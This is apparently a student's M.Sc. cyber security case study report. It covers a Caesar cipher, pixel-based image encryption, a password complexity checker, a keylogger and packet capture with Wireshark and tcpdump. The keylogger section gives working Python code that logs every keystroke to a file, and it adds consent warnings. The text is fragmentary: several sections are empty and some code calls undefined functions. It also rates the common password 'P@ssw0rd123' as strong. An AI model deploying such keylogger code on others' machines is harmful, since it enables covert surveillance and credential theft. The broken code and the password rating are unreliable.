Case Study (LP)
Case Study (LP)
Submitted By:
LEKKASHA PRASAD S R (23CSEH18)
M.Sc.Cyber Security
Under the Guidance of
Dr.R.RAJESWARI
Professor,
Department of Computer
Applications, Bharathiar University
I hereby declare that this submitted Case Study to the Department of Computer
Applications, Bharathiar University, is a record of original work done by
LEKKASHA PRASAD S R (23CSEH18) under the supervision and guidance
of Dr. R. RAJESWARI, MCA, Ph.D, Department of Computer Applications,
Bharathiar University. I affirm that this Case Study has not been submitted for
the award of any Degree/Diploma/Associate ship/Fellowship or similar title to
any candidate of any University.
Date :
Countersigned by,
Dr.R.RAJESWARI
Professor,
Department of Computer
Applications, Bharathiar University
CERTIFICATE
This is to certify that the case study titled “ ”, submitted to the Department of
Computer Applications, Bharathiar University in partial fulfilment of the
requirements for the award of the degree of Masters Of Science in Cyber
Security, is a record of original work done by LEKKASHA PRASAD S R
(23CSEH18) under the supervision and guidance of Dr.R.RAJESWARI during
the period of study in the Department of Computer Applications, Bharathiar
University, Coimbatore,and that this project work has not formed the basis for
the award of any Degree/Diploma /Associateship/ Fellowship or similar title to
any candidate of any University.
Place:Coimbatore
The Caesar cipher is one of the simplest and oldest encryption techniques, named
after Julius Caesar who used it for secure communication. The Caesar cipher is a
substitution cipher where each letter in the plaintext is shifted a fixed number of
positions down or up the alphabet. This shift value is known as the key. For example,
with a shift of 3, A becomes D, B becomes E, and so on.
Shift this position by the chosen key and convert it back to a letter. If shifting past
'Z', wrap around to the beginning of the alphabet. Example:
Plaintext: HELLO
Shift (Key): 3
Ciphertext: KHOOR
Here, H (7th letter) is shifted to K (10th letter), E (4th letter) to H (7th letter), and so
on.
Decryption Process: To decrypt, simply reverse the shift by subtracting the key
from each letter of the ciphertext.
Advantages:
Disadvantages:
Very weak security as it can be easily broken using frequency analysis or brute
force due to the limited number of possible keys (25 shifts).
1
The Caesar cipher, while not suitable for serious encryption needs today, serves as an
excellent introduction to the concepts of cryptography.
1. Simplicity:
o The Caesar cipher is easy to understand and implement, making it an
excellent introduction to the concept of cryptography.
2. Fixed Shift:
o Each letter in the plaintext is shifted by a fixed number of positions
down or up the alphabet. This shift value is known as the key.
3. Substitution Cipher:
o It is a type of substitution cipher where each letter in the plaintext is
replaced by a letter some fixed number of positions later in the alphabet.
4. Symmetric Key Encryption:
o Both the sender and the receiver use the same key (shift value) for
encryption and decryption. This is known as symmetric key encryption.
5. Alphabet Wrapping:
o When the shift reaches the end of the alphabet, it wraps around to the
beginning. For example, with a shift of 3, Z becomes C.
6. Case Sensitivity:
o The cipher typically operates on the uppercase or lowercase letters
separately, maintaining the case of the original text.
7. Historical Usage:
o Named after Julius Caesar, who reportedly used it to communicate with
his generals, it has historical significance as one of the earliest known
ciphers.
8. Weak Security:
o While it demonstrates basic encryption principles, the Caesar cipher is
not secure by modern standards. It can be easily broken using frequency
analysis or brute force due to the limited number of possible keys (only
25 shifts).
Educational Purposes
2
1. Introduction to Cryptography:
o The Caesar cipher is often used to introduce students and beginners to
the concepts of encryption and decryption. Its simplicity helps in
understanding the basic principles without the complexity of more
advanced algorithms.
Historical Context
2. Historical Study:
o The cipher is studied in the context of historical cryptography,
particularly in courses or discussions about ancient Roman
communication methods and the evolution of cryptographic techniques.
Recreational Use
Data Obfuscation
1.4OBJECTIVE
Create a python program that can encrypt and decrypt text using the
Caesar cipher algorithm .Allow users to input a message and a shift value
to perform encryption and decryption.
1.5 METHODOLOGY
3
o Write down the alphabet in order from A to Z. This will help you
visualize the shift.
3. A B C D E F G H I J K L M N O P Q R S T U V W X Y Z
Example
To decrypt a message encrypted with the Caesar cipher, follow the same steps but
shift the letters in the opposite direction (subtract the shift value).
4
Example in Python Code
# IMPLEMENT_CAESAR_CIPHER
def main():
while True:
print(" ")
choice = input("Would you like to (E)ncrypt or (D)ecrypt a message? (Q to
quit): ").upper()
if choice == 'Q':
break
elif choice in ['E', 'D']:
print(" ")
message = input("Enter your message: ")
print(" ")
shift = int(input("Enter the shift value (0-25): "))
print(" ")
if choice == 'E':
encrypted_message = caesar_encrypt(message, shift)
print(f"Encrypted message: {encrypted_message}")
print(" ")
else:
decrypted_message = caesar_decrypt(message, shift)
5
print(f"Decrypted message: {decrypted_message}")
print(" ")
else:
print("Invalid choice. Please choose E, D, or Q.")
print(" ")
if __name__ == "__main__":
main()
# Example usage
plaintext = "HELLO"
shift = 3
ciphertext = caesar_cipher_encrypt(plaintext, shift)
print(f"Encrypted: {ciphertext}")
print(f"Decrypted: {caesar_cipher_decrypt(ciphertext, shift)}")
6
1.6 CONCLUSION :
7
2 PIXEL MANIPULATION
2.1PIXEL MANIPULATION :
Basics of Pixels
1. Color Adjustment:
o Brightness and Contrast: Adjust the brightness (overall lightness) and
contrast (difference between the darkest and brightest areas) by altering
the RGB values of pixels.
o Color Correction: Change the color balance to correct or enhance
colors by adjusting the individual RGB components.
2. Filtering and Smoothing:
o Blurring: Apply a blur effect by averaging the color values of
neighboring pixels, reducing sharpness.
o Sharpening: Enhance the edges by increasing the contrast between
neighboring pixels.
3. Transformation:
o Scaling: Resize an image by adding or removing pixels.
o Rotation: Rotate an image by changing the positions of pixels
according to a rotation matrix.
4. Edge Detection:
o Use algorithms like the Sobel or Canny edge detectors to identify and
highlight the edges within an image by detecting changes in pixel
intensity.
8
5. Image Enhancement:
o Noise Reduction: Remove random variations in pixel intensity, known
as noise, to produce a cleaner image.
o Detail Enhancement: Enhance fine details by adjusting the pixel values
to bring out textures and patterns.
Here’s a simple example of pixel manipulation in Python using the Pillow library:
python
from PIL import Image, ImageEnhance
# Adjust brightness
enhancer = ImageEnhance.Brightness(image)
bright_image = enhancer.enhance(1.5) # Increase brightness by 50%
This code demonstrates how to adjust the brightness of an image by manipulating its
pixels.
Applications
9
2.2 KEYFEATURES :
1. Precision Control:
o Direct Access: Manipulate individual pixels to achieve fine-tuned
adjustments, allowing for detailed corrections and enhancements.
o Color Adjustments: Modify the RGB (Red, Green, Blue) values of
each pixel to change the color, brightness, and contrast.
2. Image Enhancement:
o Noise Reduction: Remove unwanted noise or graininess from images to
improve clarity.
o Sharpening: Enhance the edges and details of an image to make it
appear more defined.
3. Transformations:
o Scaling: Resize images by adding or removing pixels.
o Rotation and Flipping: Change the orientation of an image by rotating
or flipping its pixels.
4. Filtering:
o Blurring: Apply a blur effect by averaging the color values of
neighboring pixels to reduce sharpness.
o Edge Detection: Identify and highlight edges within an image by
detecting changes in pixel intensity.
5. Color Correction:
o Adjust Color Balance: Correct or enhance colors by adjusting
individual color channels.
o Grayscale Conversion: Convert an image to grayscale by averaging the
RGB values of each pixel.
6. Special Effects:
o Sepia Tone: Apply a sepia filter to give the image a warm, brownish
tone.
o Negative Effect: Invert the colors of the image to create a negative
effect.
7. Image Composition:
o Overlay: Combine multiple images by overlaying them and adjusting
the transparency of each layer.
o Cropping: Remove unwanted sections of an image by selecting and
retaining only the desired portion.
8. Automation:
o Batch Processing: Apply pixel manipulation techniques to multiple
images simultaneously, streamlining the workflow.
10
2.3 TYPICAL USES :
1. Photo Editing
2. Graphic Design
Image Composition: Combine multiple images, add text, and create complex
designs.
Logo and Branding: Design logos, icons, and other branding elements by
manipulating pixels.
Web Design: Create web graphics, buttons, and banners tailored for websites.
3. Medical Imaging
4. Computer Vision
5. Video Production
2.4 OBJECTIVE:
Develop a simple image encryption tool usuing pixel manipulation .you can
perform operations like swapping pixel values or applying a basic
mathematical operation to each pixel.Allow users to encrypt and decrypt
images .
2.5 METHODOLOGY:
python
12
from PIL import Image
image = Image.open("example.jpg")
python
pixels = image.load()
width, height = image.size
4. Manipulating Pixels:
o Iterate through each pixel in the image to read and modify its values.
python
for y in range(height):
for x in range(width):
r, g, b = pixels[x, y] # Get RGB values
# Example: Increase brightness
pixels[x, y] = (min(r + 50, 255), min(g + 50, 255), min(b + 50, 255))
python
image.save("modified_example.jpg")
6. Applying Filters:
o Use predefined filters to enhance or alter the image, such as blurring or
sharpening.
python
python
python
pixels = image.load()
width, height = image.size
for y in range(height):
for x in range(width):
r, g, b = pixels[x, y]
# Increase brightness by adding a fixed value, ensuring we don't exceed
255
pixels[x, y] = (min(r + 50, 255), min(g + 50, 255), min(b + 50, 255))
python
image.save("brightened_example.jpg")
# Example usage:
encrypt_image('demo.jpg', 'encrypted_image.jpg')
decrypt_image('encrypted_image.jpg', 'decrypted_image.jpg')
15
2.6 CONCLUSION
16
3 . PASSWORD COMPLEXITY CHECKER
3.2KEY FEATURES :
Length Check: Ensures the password is long enough (e.g., at least 8-12
characters).
Character Variety: Checks for a mix of uppercase and lowercase letters,
numbers, and special characters.
Pattern Detection: Identifies common patterns or sequences (e.g., "12345" or
"qwerty") that make passwords easier to guess.
Dictionary Check: Looks for common words or phrases that are easily
guessable.
Benefits
Enhanced Security: Helps create stronger passwords that are harder to crack.
User Awareness: Educates users on what makes a password strong and why it
matters.
Compliance: Ensures passwords meet security policies and standards.
Example
Password: P@ssw0rd123
Evaluation:
o Length: 12 characters (Good)
o Character Variety: Mix of uppercase, lowercase, numbers, and special
characters (Good)
o Pattern Detection: No common patterns detected (Good)
o Dictionary Check: Not a common word (Good)
Rating: Strong
1. Security Compliance:
o Organizations use password complexity checkers to ensure employees’
passwords meet security policy requirements. This helps in maintaining
compliance with industry standards and regulations.
17
2. User Education:
o Helps users understand what makes a password strong or weak. By
providing real-time feedback, users learn to create more secure
passwords.
3. Account Setup and Maintenance:
o During account creation or password change processes, complexity
checkers ensure that new passwords meet predefined security criteria,
reducing the risk of weak passwords.
4. IT Support:
o IT departments use these tools to enforce password policies and assist
users in generating secure passwords, reducing the likelihood of account
breaches.
5. Password Management Tools:
o Many password managers incorporate complexity checkers to help users
generate and store strong passwords across different platforms and
services.
6. Educational Institutions:
o Schools and universities use them to teach students about cybersecurity
best practices, helping to foster a culture of security awareness from a
young age.
7. Software Development:
o Developers integrate password complexity checkers into applications to
enhance security features, ensuring users create strong passwords when
registering or updating their accounts.
3.4 OBJECTIVE:
Build a tool that assesses the strength of a password based on criteria such as
length,presence of uppercase and lowercase letters ,numbers and special
characters .provide feedback to users on the passwords strength.
3.5 METHODOLOGY
18
2. Choose a Platform for Implementation
python
import re
python
def check_password_complexity(password):
# Check length
if len(password) < 8:
return "Password must be at least 8 characters long."
19
# Check for special character
if not re.search(r'[!@#$%^&*(),.?":{}|<>]', password):
return "Password must include at least one special character."
python
# Example usage
passwords = ["Password123", "password", "PASSWORD", "Pass123",
"P@ssw0rd"]
for pwd in passwords:
print(f"{pwd}: {check_password_complexity(pwd)}")
5. Explain the Function
23
Run the script in your development environment to see the results for different
passwords.
Test with various inputs to ensure the checker accurately evaluates password
strength.
You can add more checks or customize the criteria based on specific security
policies or requirements
24
3.6 CONCLUSION:
25
4. SIMPLE KEYLOGGER :
python
import pynput
# Listener setup
with pynput.keyboard.Listener(on_press=on_press) as listener:
26
listener.join()
Prevention:
Legitimate Uses
1. Parental Monitoring:
o Parents may use keyloggers to monitor their children's online activities
to ensure their safety and protect them from inappropriate content or
online predators.
2. Employee Monitoring:
o Employers might use keyloggers to monitor employees' activities on
company computers, ensuring that company resources are being used
appropriately and that sensitive information is not being mishandled.
3. Self-Monitoring:
o Individuals might use keyloggers to keep track of their own activities,
such as capturing important text that may be accidentally deleted or lost.
4. Debugging and Testing:
o Developers may use keyloggers for debugging and testing purposes,
especially when developing software that involves keyboard input.
5. Computer Forensics:
o In forensic investigations, keyloggers can be used to gather evidence
from computers involved in criminal activities.
Illegitimate Uses
1. Unauthorized Surveillance:
o Cybercriminals use keyloggers to spy on individuals and steal sensitive
information such as passwords, credit card numbers, and other personal
data.
27
2. Identity Theft:
o Keyloggers can be used to capture login credentials and personal
information, leading to identity theft and financial fraud.
3. Corporate Espionage:
o Malicious actors might use keyloggers to gain access to confidential
business information, trade secrets, or intellectual property.
4.4 OBJECTIVE :
Create a basic keylogger program that records and logs keystrokes. Focus on
logging the keys pressed and saving them to a file. Note: Ethical considerations and
permissions are crucial for keyloggers.
4.5 METHODOLOGY :
28
3. Install Necessary Libraries
bash
python
python
def on_press(key):
try:
with open("log.txt", "a") as log_file:
log_file.write(f"{key.char}\n")
except AttributeError:
with open("log.txt", "a") as log_file:
log_file.write(f"{key}\n")
6. Set Up the Listener
Set up the listener to monitor keystrokes and call the logging function:
python
Execute the script to start logging keystrokes. The logged keystrokes will be
saved in a file named log.txt.
Code in Python
29
from pynput import keyboard
log_file = "keylogs.txt"
shift_keys = {keyboard.Key.shift, keyboard.Key.shift_l, keyboard.Key.shift_r}
ctrl_keys = {keyboard.Key.ctrl_l, keyboard.Key.ctrl_r}
modifier_keys = {
keyboard.Key.space: ' ',
keyboard.Key.enter: '\n',
keyboard.Key.backspace: '<BACKSPACE>',
keyboard.Key.tab: '<TAB>',
keyboard.Key.ctrl_l: '<CTRL>',
keyboard.Key.ctrl_r: '<CTRL>',
keyboard.Key.alt_l: '<ALT>',
keyboard.Key.alt_r: '<ALT>'
}
def on_press(key):
with open(log_file, 'a') as f:
if key in modifier_keys:
f.write(modifier_keys[key])
elif key in shift_keys or key in ctrl_keys:
pressed_keys.add(key) # Track pressed modifier keys
else:
try:
if key.char:
if keyboard.Key.ctrl_l in pressed_keys or keyboard.Key.ctrl_r in
pressed_keys:
if key.char.lower() == 'c':
f.write('<CTRL+C>')
elif key.char.lower() == 'v':
f.write('<CTRL+V>')
else:
f.write(f'<CTRL+{key.char.upper()}>')
elif any(k in pressed_keys for k in shift_keys):
f.write(key.char.upper())
else:
f.write(key.char)
except AttributeError:
pass
30
def on_release(key):
if key == keyboard.Key.esc:
return False
if key in shift_keys or key in ctrl_keys:
pressed_keys.discard(key)
elif key in modifier_keys:
pass # No action needed for modifier keys on release
else:
try:
pressed_keys.discard(key)
except KeyError:
pass
pressed_keys = set()
with keyboard.Listener(
on_press=lambda key: pressed_keys.add(key) or on_press(key),
on_release=on_release) as listener:
listener.join()
Security and Ethical Considerations
Legal Use: Always ensure you have explicit permission to use a keylogger on
any device. Unauthorized use is illegal and unethical.
Detection and Prevention: Use antivirus software and keep your system
updated to protect against malicious keyloggers.
Practical Applications
31
4.6 CONCLUSION:
32
5. NETWORK PACKET ANALYZER
What It Does
1. Traffic Capture:
o Real-Time Capture: Intercept and display live network traffic as it
happens.
o Offline Analysis: Save captured packets to a file for later analysis.
2. Detailed Packet Analysis:
o Protocol Decoding: Understand and decode various network protocols,
such as TCP, UDP, HTTP, and more.
o Packet Filtering: Apply filters to focus on specific types of traffic or
packets, such as those from a particular IP address or using a certain
protocol.
3. Data Visualization:
o Graphs and Charts: Visualize network activity and traffic patterns
through graphs and charts.
o Flow Graphs: Display communication flows between network devices.
4. Search and Navigation:
o Packet Browsing: Navigate through captured packets easily with
detailed views and summaries.
o Search Functionality: Quickly find specific packets or data within the
captured traffic.
5. Customization:
o User-Defined Filters: Create custom filters to capture only the traffic
you are interested in.
33
oCustomizable Interface: Adjust the layout and appearance of the
analyzer to suit your workflow.
6. Export and Reporting:
o Data Export: Export captured data in various formats, such as CSV or
XML, for further analysis or reporting.
o Report Generation: Generate detailed reports on network traffic and
analysis results.
7. Integration and Extensibility:
o Plugin Support: Extend functionality with plugins and add-ons.
o Scripting: Automate tasks and customize analyses with scripting
languages like Lua or Python.
8. Security Features:
o Encryption Analysis: Analyze encrypted traffic and identify potential
security issues.
o Alerting and Notifications: Set up alerts for specific types of traffic or
anomalies.
5.3 OBJECTIVE
Develop a packet sniffer tool that captures and analyzes network. packets. Display
relevant information such as source and destination IP addresses, protocols, and
payload data. Ensure the ethical use of the tool for educational purposes.
5.4 METHODOLOGY
Install the Analyzer: Download and install a network packet analyzer like
Wireshark or tcpdump.
Configure Access: Ensure you have the necessary permissions to capture
network traffic on the device and network you’re analyzing.
34
2. Capture Network Traffic
o Open Wireshark.
o Select the network interface.
o Click the "Start Capturing Packets" button.
bash
Capture Filters: Set filters to capture only the specific traffic you’re
interested in (e.g., packets from a specific IP address or protocol).
o Wireshark Example: ip.addr == 192.168.1.1
o tcpdump Example: tcpdump -i eth0 host 192.168.1.1
Display Filters: After capturing traffic, apply display filters to focus on
specific packets of interest within the captured data.
o Wireshark Example: http
5. Identify Issues
35
Security Analysis: Look for signs of unauthorized access, malware
communication, or other security threats.
Save Captures: Save the captured packets to a file for future analysis.
o Wireshark: File > Save As...
o tcpdump: tcpdump -i eth0 -w capture.pcap
Export Data: Export data in various formats (e.g., CSV, XML) for further
analysis or reporting.
7. Generate Reports
Legal Use: Always ensure you have permission to capture and analyze
network traffic. Unauthorized capturing of network data can be illegal and
unethical.
Privacy: Be mindful of privacy when analyzing network traffic, especially if
the data includes sensitive information.
36
5.5 CONCLUSION :
37
38